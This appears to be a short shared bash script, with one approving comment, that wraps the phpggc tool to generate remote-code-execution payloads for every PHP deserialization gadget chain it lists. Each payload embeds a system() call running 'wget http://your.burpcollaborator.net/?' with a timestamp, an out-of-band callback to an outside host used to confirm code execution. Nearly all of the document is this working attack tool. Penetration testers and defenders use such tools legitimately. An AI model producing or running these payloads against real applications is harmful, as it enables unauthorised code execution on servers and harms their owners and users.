Automatically generate properly formatted RCE payloads for every gadget chain in phpggc.

phpggc-generate-payloads.sh

#!/bin/bash

# phpggc wrapper that automatically generates payloads for RCE gadgets

function="system"
command="wget http://your.burpcollaborator.net/?"
# modify the options below depending on your use case
options="-a -b -u -f"

# generate gadget chains
./phpggc -l | grep RCE | cut -d' ' -f1 | xargs -L 1 ./phpggc -i | grep 'phpggc ' --line-buffered |
while read line;  do
   gadget=$(echo $line | cut -d' ' -f2) &&
   if echo $line | grep -q "<function> <parameter>"; then
      ./phpggc $options $gadget "$function" "$command?$(date +%s)"
   elif echo $line | grep -q "<code>"; then
      ./phpggc $options $gadget "$function('$command?$(date +%s)');"
   elif echo $line | grep -q "<command>"; then
      ./phpggc $options $gadget "$command?$(date +%s)"
   else
      ./phpggc $options $gadget
   fi;
done

nice work, saves a lot of time!